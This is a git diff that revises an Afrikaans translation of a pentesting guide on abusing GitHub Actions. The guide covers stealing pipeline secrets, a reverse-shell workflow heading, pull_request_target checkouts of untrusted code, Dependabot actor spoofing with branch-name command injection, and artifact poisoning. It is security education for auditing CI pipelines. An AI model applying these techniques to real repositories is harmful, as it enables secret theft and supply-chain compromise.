diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index 66f2125b2..2a5e64985 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -4,53 +4,53 @@
## Gereedskap
-Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare ones:
+Die volgende gereedskap is nuttig om Github Action workflows te vind en selfs kwesbare eenhede te identifiseer:
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
- [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
- [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na sy kontrolelys in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Kyk ook na die checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
## Basiese Inligting
-Op hierdie bladsy sal jy vind:
+Op hierdie bladsy vind jy:
-- 'n **opsomming van al die impakte** van 'n aanvaller wat daarin slaag om toegang tot 'n Github Action te verkry
-- Verskillende maniere om **toegang tot 'n aksie** te verkry:
-- Om **toestemmings** te hê om die aksie te skep
-- Misbruik van **pull request** verwante triggers
+- 'n **opsomming van alle impakte** van 'n attacker wat daarin slaag om toegang tot 'n Github Action te kry
+- Verskillende maniere om **toegang tot 'n action te kry**:
+- Om **permissions** te hê om die action te skep
+- Misbruik van **pull request**-verwante triggers
- Misbruik van **ander eksterne toegang** tegnieke
-- **Pivoting** vanaf 'n reeds gecompromitteerde repo
-- Laastens, 'n afdeling oor **post-exploitation tegnieke om 'n aksie van binne te misbruik** (om die genoemde impakte te veroorsaak)
+- **Pivoting** vanaf 'n reeds gekompromitteerde repo
+- Laastens, 'n afdeling oor **post-exploitation techniques to abuse an action from inside** (om die genoemde impakte te veroorsaak)
## Opsomming van Impakte
-Vir 'n inleiding oor [**Github Actions kyk na die basiese inligting**](../basic-github-information.md#github-actions).
+Vir 'n inleiding oor [**Github Actions, sien die basiese inligting**](../basic-github-information.md#github-actions).
-As jy **arbitraire kode in GitHub Actions** binne 'n **repo** kan **uitvoer**, kan jy dalk:
+As jy kan **arbitrêre code in GitHub Actions uitvoer** binne 'n **repository**, kan jy moontlik:
-- **Geheime** gesteel wat aan die pyplyn gemonteer is en **misbruik van die pyplyn se voorregte** om ongeoorloofde toegang tot eksterne platforms, soos AWS en GCP, te verkry.
-- **Ontplooiings** en ander **artefakte** kompromenteer.
-- As die pyplyn bates ontplooi of stoor, kan jy die finale produk verander, wat 'n voorsieningskettingaanval moontlik maak.
-- **Kode in pasgemaakte werkers uitvoer** om rekenaarkrag te misbruik en na ander stelsels te pivot.
-- **Oorskryf van repo kode**, afhangende van die toestemmings wat met die `GITHUB_TOKEN` geassosieer is.
+- **Steel geheime** wat aan die pipeline gemonteer is en **misbruik die pipeline se bevoegdhede** om ongeoorloofde toegang tot eksterne platforms te kry, soos AWS en GCP.
+- **Kompromiseer deployments** en ander **artifacts**.
+- As die pipeline assets ontplooi of stoor, kan jy die finale produk verander en sodoende 'n supply chain attack moontlik maak.
+- **Voer code uit in custom workers** om rekenkrag te misbruik en na ander stelsels te pivot.
+- **Oorskryf repository-kode**, afhangend van die permissions wat geassosieer word met die `GITHUB_TOKEN`.
## GITHUB_TOKEN
-Hierdie "**geheim**" (kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
+Hierdie "**secret**" (wat kom van `${{ secrets.GITHUB_TOKEN }}` en `${{ github.token }}`) word gegee wanneer die admin hierdie opsie aktiveer:
-Hierdie token is dieselfde een wat 'n **Github Toepassing sal gebruik**, sodat dit toegang tot dieselfde eindpunte kan hê: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Hierdie token is dieselfde een wat 'n **Github Application** sal gebruik, sodat dit toegang tot dieselfde endpoints kan kry: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
> [!WARNING]
-> Github moet 'n [**flow**](https://github.com/github/roadmap/issues/74) vrystel wat **cross-repository** toegang binne GitHub toelaat, sodat 'n repo ander interne repos kan benader met die `GITHUB_TOKEN`.
+> Github behoort 'n [**flow**](https://github.com/github/roadmap/issues/74) vry te stel wat **allows cross-repository** toegang binne GitHub moontlik maak, sodat 'n repo ander interne repos kan bereik met die `GITHUB_TOKEN`.
-Jy kan die moontlike **toestemmings** van hierdie token sien in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Jy kan die moontlike **permissions** van hierdie token sien by: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
-Let daarop dat die token **verval nadat die werk voltooi is**.\
-Hierdie tokens lyk soos volg: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Let wel dat die token **verval nadat die job voltooi is**.\
+Hierdie tokens lyk soos dit: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
Sommige interessante dinge wat jy met hierdie token kan doen:
@@ -77,7 +77,7 @@ https://api.github.com/repos///pulls//reviews \
-d '{"event":"APPROVE"}'
```
{{#endtab }}
-{{#tab name="Skep PR" }}
+{{#tab name="Create PR" }}
```bash
# Create a PR
curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos///pulls \
{{#endtabs }}
> [!CAUTION]
-> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
+> Let wel dat jy in verskeie gevalle **github user tokens binne Github Actions envs of in die secrets** sal kan vind. Hierdie tokens kan jou meer voorregte oor die repository en organization gee.
-lys geheime in Github Action uitvoer
+Lys secrets in Github Action uitset
```yaml
name: list_env
on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
-Kry omgekeerde skulp met geheime
+Kry reverse shell met secrets
```yaml
name: revshell
on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
```
-Dit is moontlik om die toestemmings wat aan 'n Github Token in ander gebruikers se repositories gegee is, te kontroleer deur die **logs** van die aksies te kyk:
+Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander gebruikers se repositories te kontroleer deur **die logs** van die actions na te gaan:
-## Toegelate Uitvoering
+## Toegestane Uitvoering
> [!NOTE]
-> Dit sou die maklikste manier wees om Github aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** het.
+> Dit sou die maklikste manier wees om Github actions te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **create a new repo in the organization**, of het **write privileges over a repository**.
>
-> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) nagaan.
+> If you are in this scenario you can just check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
-### Uitvoering vanaf Repo Skepping
+### Uitvoering vanaf Repo-skepping
-In die geval dat lede van 'n organisasie **nuwe repos** kan **skep** en jy kan github aksies uitvoer, kan jy **'n nuwe repo skep en die geheime wat op organisasievlak gestel is, steel**.
+In geval lede van 'n organization nuwe repos kan **create new repos** en jy kan Github actions uitvoer, kan jy 'n nuwe repo skep en **create a new repo and steal the secrets set at organization level**.
-### Uitvoering vanaf 'n Nuwe Tak
+### Uitvoering vanaf 'n Nuwe Branch
-As jy **'n nuwe tak in 'n repository wat reeds 'n Github Action** geconfigureer het, kan **skep**, kan jy dit **wysig**, die inhoud **oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word).
+As jy kan **create a new branch in a repository that already contains a Github Action** configured, kan jy dit **modify**, die inhoud **upload**, en dan daardie action **execute that action from the new branch**. Op hierdie manier kan jy **exfiltrate repository and organization level secrets** (maar jy moet weet hoe hulle genoem word).
-Jy kan die gewysigde aksie **handmatig** uitvoerbaar maak, wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees):
+> [!WARNING]
+> Enige beperking wat slegs in die workflow YAML geïmplementeer is (byvoorbeeld, `on: push: branches: [main]`, job conditionals, or manual gates) kan deur medewerkers gewysig word. Sonder eksterne afdwinging (branch protections, protected environments, and protected tags), kan 'n bydraer 'n workflow herlei om op hul branch te hardloop en gemonteerde secrets/permissions misbruik.
+
+Jy kan die gewysigde action uitvoerbaar maak **manually**, wanneer 'n **PR** geskep word of wanneer sekere kode gepush word (afhangend van hoe luidrugtig jy wil wees):
```yaml
on:
workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
```
---
-## Forked Uitvoering
+## Forked-uitvoering
> [!NOTE]
-> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **Github Action van 'n ander repository** te **uitvoer**. As daardie triggerbare aksies swak gekonfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer.
+> Daar is verskillende triggers wat 'n aanvaller kan toelaat om 'n **execute a Github Action of another repository**. As daardie triggerbare actions swak gekonfigureer is, kan 'n aanvaller dit moontlik kompromitteer.
### `pull_request`
-Die werksvloei-trigger **`pull_request`** sal die werksvloei uitvoer elke keer as 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**:
+Die workflow-trigger **`pull_request`** sal die workflow uitvoer elke keer as 'n pull request ontvang word, met 'n paar uitsonderings: volgens verstek, as dit die **first time** is dat jy **collaborating**, sal 'n **maintainer** die **approve** van die **run** van die workflow moet doen:
> [!NOTE]
-> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy bydrae **deur 'n geldige fout/typo te herstel** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**.
+> Omdat die **default limitation** vir **first-time** contributors is, kan jy bydra deur **fixing a valid bug/typo** en dan **ander PRs te stuur om jou nuwe `pull_request` privileges te abuse**.
>
-> **Ek het dit getoets en dit werk nie**: ~~‘n Ander opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
+> **Ek het dit getoets en dit werk nie**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
-Boonop **verhoed dit standaard skryfrechten** en **toegang tot geheime** tot die teikrepository soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Verder verhoed dit volgens verstek **write permissions** en **secrets access** tot die target repository soos vermeld in die [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
-> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardeware oorgedra** wanneer 'n werksvloei van 'n **forked** repository geaktiveer word nie. Die **`GITHUB_TOKEN` het slegs leesregte** in pull requests **van forked repositories**.
+> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
-'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Hy sal egter nie in staat wees om geheime te steel of die repo te oorskryf nie weens die genoem beperkings.
+'n Aanvaller kan die definisie van die Github Action wysig om arbitraire dinge uit te voer en ekstra actions by te voeg. Hy sal egter nie in staat wees om secrets te steel of die repo oor te skryf nie weens die genoemde beperkings.
> [!CAUTION]
-> **Ja, as die aanvaller in die PR die github action wat geaktiveer sal word, verander, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!**
+> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
-Aangesien die aanvaller ook die kode wat uitgevoer word, beheer, kan 'n aanvaller byvoorbeeld **kwaadaardige artefakte oplaai**, selfs al is daar nie geheime of skryfrechten op die `GITHUB_TOKEN` nie.
+Aangesien die aanvaller ook die kode wat uitgevoer word beheer, selfs al is daar nie secrets of write permissions op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **upload malicious artifacts**.
### **`pull_request_target`**
-Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die teikrepository en **toegang tot geheime** (en vra nie vir toestemming nie).
+Die workflow-trigger **`pull_request_target`** het **write permission** tot die target repository en **access to secrets** (en vra nie toestemming nie).
-Let daarop dat die werksvloei-trigger **`pull_request_target`** **in die basis konteks** loop en nie in die een gegee deur die PR nie (om **nie onbetroubare kode uit te voer**). Vir meer inligting oor `pull_request_target` [**kyk die dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk hierdie [**github blogpos**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Neem kennis dat die workflow-trigger **`pull_request_target`** **runs in the base context** en nie in die een wat deur die PR gegee word nie (om **not execute untrusted code**). Vir meer inligting oor `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk na hierdie [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
-Dit mag lyk asof die **uitgevoerde werksvloei** die een is wat in die **basis** gedefinieer is en **nie in die PR nie**, dit is **veilig** om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
+Dit mag lyk omdat die **executed workflow** die een is wat in die **base** gedefinieer is en **nie in die PR** nie, dat dit **secure** is om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
-En hierdie een sal **toegang tot geheime** hê.
+En hierdie een sal **access to secrets** hê.
### `workflow_run`
-Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een te laat loop wanneer dit `voltooi`, `gevraag` of `in_progress` is.
+Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n workflow te laat loop vanaf 'n ander wanneer dit `completed`, `requested` of `in_progress` is.
-In hierdie voorbeeld is 'n werksvloei geconfigureer om te loop nadat die aparte "Toets Loop" werksvloei voltooi is:
+In hierdie voorbeeld is 'n workflow gekonfigureer om te loop nadat die aparte "Run Tests" workflow voltooi is:
```yaml
on:
workflow_run:
@@ -227,37 +230,37 @@ workflows: [Run Tests]
types:
- completed
```
-Moreover, volgens die dokumentasie: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**.
+Boonop, volgens die docs: Die workflow wat deur die `workflow_run` event begin is, kan **secrets en write tokens toegang hê, selfs al het die vorige workflow dit nie gedoen nie**.
-Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**in hierdie blog gevind word**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvallerskode aflaai: `${{ github.event.pull_request.head.sha }}`\
-Die tweede een bestaan uit **die oordrag** van 'n **artefak** van die **onbetroubare** kode na die **`workflow_run`** werksvloei en die gebruik van die inhoud van hierdie artefak op 'n manier wat dit **kwesbaar maak vir RCE**.
+Hierdie tipe workflow kan aangeval word as dit **afhang** van 'n **workflow** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** kan **getrigger**. 'n Paar kwesbare voorbeelde kan [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Die eerste een bestaan uit die deur **`workflow_run`** getriggerde workflow wat die aanvallers se kode aflaai: `${{ github.event.pull_request.head.sha }}`\
+Die tweede bestaan uit die **oorhandig** van 'n **artifact** van die **onbetroubare** kode aan die **`workflow_run`** workflow en die gebruik van die inhoud van hierdie artifact op 'n wyse wat dit **kwesbaar vir RCE** maak.
### `workflow_call`
TODO
-TODO: Kontroleer of wanneer dit vanaf 'n pull_request uitgevoer word, die gebruikte/afgelaaide kode die een van die oorsprong of van die geforkte PR is.
+TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
-## Misbruik van Geforkte Uitvoering
+## Misbruik van geforkte uitvoering
-Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, nou kom ons kyk na hoe hierdie uitvoerings, as dit sleg gekonfigureer is, misbruik kan word:
+Ons het al die maniere genoem waarop 'n eksterne aanvaller 'n github workflow kan laat uitvoer; kom ons kyk nou hoe hierdie uitvoerings, as dit sleg gekonfigureer is, misbruik kan word:
-### Onbetroubare checkout uitvoering
+### Onbetroubare checkout-uitvoering
-In die geval van **`pull_request`,** sal die werksvloei in die **konteks van die PR** uitgevoer word (so dit sal die **kwesbare PR-kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](#pull_request) loop.
+In die geval van **`pull_request`,** gaan die workflow in die **konteks van die PR** uitgevoer word (dus sal dit die **kwaadwillige PR's code** uitvoer), maar iemand moet dit eers **magtig** en dit sal met sekere [beperkings](#pull_request) loop.
-In die geval van 'n werksvloei wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n werksvloei wat geaktiveer kan word vanaf **`pull_request_target` of `pull_request`** sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
+In die geval van 'n workflow wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n workflow wat van **`pull_request_target` of `pull_request`** ge-trigger kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
> [!CAUTION]
-> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** (en nie van die basis nie) sal **kry**, sal dit die aanvallers beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR-kode afgelaai word):
+> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
-
# ONVEILIG. Verskaf net as 'n voorbeeld.
+
# INSECURE. Provided as an example only.
on:
pull_request_target
jobs:
build:
-name: Bou en toets
+name: Build and test
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
@@ -276,35 +279,35 @@ arg1: ${{ secrets.supersecret }}
- uses: fakerepo/comment-on-pr@v1
with:
message: |
-Dankie!
+Thank you!
-Die potensieel **onbetroubare kode word tydens `npm install` of `npm build` uitgevoer** aangesien die bou skripte en verwysde **pakkette deur die skrywer van die PR** beheer word.
+Die moontlik **onbetroubare code word tydens `npm install` of `npm build` uitgevoer** aangesien die build-skripte en verwysde **packages deur die skrywer van die PR beheer word**.
> [!WARNING]
-> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksgeleenthede veilig uit te voer selfs al is die aksie onveilig gekonfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
+> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
-### Konteks Skrip Injekties
+### Context Script Injections
-Let daarop dat daar sekere [**github kontekste**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes **beheer** word deur die **gebruiker** wat die PR skep. As die github aksie daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitraire kode-uitvoering:**
+Neem kennis dat daar sekere [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes deur die **user** wat die PR skep **beheer** word. As die github action daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitrary code execution:**
{{#ref}}
gh-actions-context-script-injections.md
{{#endref}}
-### **GITHUB_ENV Skrip Injektion**
+### **GITHUB_ENV Script Injection**
-Volgens die dokumentasie: Jy kan 'n **omgewing veranderlike beskikbaar maak vir enige daaropvolgende stappe** in 'n werksvloei werk deur die omgewing veranderlike te definieer of op te dateer en dit na die **`GITHUB_ENV`** omgewing lêer te skryf.
+Volgens die docs: Jy kan 'n **environment variable beskikbaar maak vir enige daaropvolgende stappe** in 'n workflow job deur die omgewingveranderlike te bepaal of by te werk en dit na die **`GITHUB_ENV`** environment file te skryf.
-As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes in die volgende stappe inbring wat kode kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
+As 'n aanvaller enige waarde in hierdie **env**-veranderlike kon **injekeer**, kan hy omgewingveranderlikes inspuit wat kode in volgende stappe kan laat uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
-Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geuploade artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n aanvaller kan iets soos dit oplaai om dit te kompromitteer:
+Byvoorbeeld ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou 'n workflow voor wat 'n opgelaaide artifact vertrou om sy inhoud binne **`GITHUB_ENV`** env-variabele te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
### Dependabot en ander vertroude bots
-Soos aangedui in [**hierdie blogpos**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), het verskeie organisasies 'n Github Aksie wat enige PRR van `dependabot[bot]` soos in:
+Soos aangedui in [**this blog post**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), het verskeie organisasies 'n Github Action wat enige PRR van `dependabot[bot]` saamvoeg soos in:
```yaml
on: pull_request_target
jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: gh pr merge $ -d -m
```
-Wat 'n probleem is omdat die `github.actor` veld die gebruiker bevat wat die laaste gebeurtenis veroorsaak het wat die werksvloei geaktiveer het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker te laat 'n PR wysig. Byvoorbeeld:
+Wat 'n probleem is omdat die `github.actor` veld die gebruiker bevat wat die jongste gebeurtenis wat die workflow geaktiveer het, veroorsaak het. En daar is verskeie maniere om die `dependabot[bot]` gebruiker 'n PR te laat wysig. Byvoorbeeld:
-- Fork die slagoffer se repository
-- Voeg die kwaadwillige payload by jou kopie
-- Aktiveer Dependabot op jou fork deur 'n verouderde afhanklikheid by te voeg. Dependabot sal 'n tak skep wat die afhanklikheid met kwaadwillige kode regmaak.
-- Maak 'n Pull Request na die slagoffer se repository vanaf daardie tak (die PR sal deur die gebruiker geskep word, so niks sal nog gebeur nie)
-- Dan, gaan die aanvaller terug na die aanvanklike PR wat Dependabot in sy fork geopen het en voer `@dependabot recreate` uit
-- Dan, voer Dependabot 'n paar aksies in daardie tak uit, wat die PR oor die slagoffer repo gewysig het, wat `dependabot[bot]` die akteur van die laaste gebeurtenis maak wat die werksvloei geaktiveer het (en gevolglik, die werksvloei loop).
+- Fork die slagoffer repository
+- Voeg die malicious payload by jou kopie
+- Enable Dependabot op jou fork deur 'n outdated dependency by te voeg. Dependabot sal 'n branch skep wat die dependency regstel met malicious code.
+- Open 'n Pull Request na die slagoffer repository vanaf daardie branch (die PR sal deur die gebruiker geskep word so niks sal nog gebeur nie)
+- Dan gaan die aanvaller terug na die aanvanklike PR wat Dependabot in sy fork geopen het en voer `@dependabot recreate` uit
+- Dan voer Dependabot sekere aksies in daardie branch uit, wat die PR op die slagoffer repo wysig, wat `dependabot[bot]` die actor maak van die jongste gebeurtenis wat die workflow geaktiveer het (en daarom loop die workflow).
-Gaan voort, wat as die Github Action in plaas van om te meng 'n opdrag-inspuiting gehad het soos in:
+Verder, wat as, in plaas van 'n merge, die Github Action 'n command injection gehad het soos in:
```yaml
on: pull_request_target
jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
steps:
- run: echo ${ { github.event.pull_request.head.ref }}
```
-Wel, die oorspronklike blogpos stel twee opsies voor om hierdie gedrag te misbruik, waarvan die tweede is:
+Die oorspronklike blogpos stel wel twee opsies voor om hierdie gedrag te misbruik; die tweede is:
-- Fork die slagoffer se repository en stel Dependabot in met 'n verouderde afhanklikheid.
-- Skep 'n nuwe tak met die kwaadwillige shell-inspuitkode.
-- Verander die standaardtak van die repo na daardie een.
-- Skep 'n PR van hierdie tak na die slagoffer se repository.
-- Voer `@dependabot merge` uit in die PR wat Dependabot in sy fork geopen het.
-- Dependabot sal sy veranderinge in die standaardtak van jou geforkte repository saamvoeg, wat die PR in die slagoffer se repository opdateer en nou die `dependabot[bot]` die akteur van die jongste gebeurtenis maak wat die werksvloei geaktiveer het en 'n kwaadwillige taknaam gebruik.
+- Fork die slagoffer se repository en aktiveer Dependabot met 'n verouderde dependency.
+- Skep 'n nuwe branch met die kwaadwillige shell injeciton code.
+- Verander die default branch van die repo na daardie een
+- Skep 'n PR vanaf hierdie branch na die slagoffer se repository.
+- Run `@dependabot merge` in die PR wat Dependabot in sy fork oopgemaak het.
+- Dependabot sal sy veranderinge in die default branch van jou geforkte repository merge, die PR in die slagoffer se repository opdateer, en nou sal `dependabot[bot]` die actor wees van die jongste event wat die workflow getrigger het en 'n kwaadwillige branch name gebruik.
-### Kw vulnerable Derdeparty Github Actions
+### Kwetsbare derdeparty Github Actions
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
-Soos genoem in [**hierdie blogpos**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), stel hierdie Github Action toegang tot artefakte van verskillende werksvloei en selfs repositories moontlik.
+As vermeld in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), hierdie Github Action laat toe om artifacts van verskillende workflows en selfs repositories te bereik.
-Die probleem is dat as die **`path`** parameter nie gestel is nie, die artefak in die huidige gids onttrek word en dit lêers kan oorskryf wat later gebruik of selfs in die werksvloei uitgevoer kan word. Daarom, as die Artefak kwesbaar is, kan 'n aanvaller dit misbruik om ander werksvloei te kompromitteer wat die Artefak vertrou.
+Die probleem is dat as die **`path`** parameter nie gestel is nie, die artifact in die huidige gids uitgepak word en dit lêers kan oorskryf wat later gebruik of selfs in die workflow uitgevoer kan word. Daarom, as die Artifact kwesbaar is, kan 'n aanvaller dit misbruik om ander workflows wat die Artifact vertrou te kompromitteer.
-Voorbeeld van 'n kwesbare werksvloei:
+Example of vulnerable workflow:
```yaml
on:
workflow_run:
@@ -373,7 +376,7 @@ with:
name: artifact
path: ./script.py
```
-Dit kan aangeval word met hierdie werksvloei:
+Hierdie kan met hierdie workflow aangeval word:
```yaml
name: "some workflow"
on: pull_request
@@ -392,25 +395,25 @@ path: ./script.py
## Ander Eksterne Toegang
-### Verwyderde Namespace Repo Hijacking
+### Deleted Namespace Repo Hijacking
-As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie naam registreer na 'n tyd. As 'n repository **minder as 100 sterre gehad het voor die naamsverandering**, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n **repository met dieselfde naam** as die een wat verwyder is, te skep.
+If an account changes it's name another user could register an account with that name after some time. If a repository had **minder as 100 sterre voor die naamsverandering**, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
> [!CAUTION]
-> So as 'n aksie 'n repo van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromitteer.
+> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
-As ander repositories **afhang van hierdie gebruiker se repos**, sal 'n aanvaller in staat wees om hulle te hijack. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
---
## Repo Pivoting
> [!NOTE]
-> In hierdie afdeling sal ons praat oor tegnieke wat sou toelaat om te **pivot van een repo na 'n ander** mits ons 'n soort toegang op die eerste een het (kyk na die vorige afdeling).
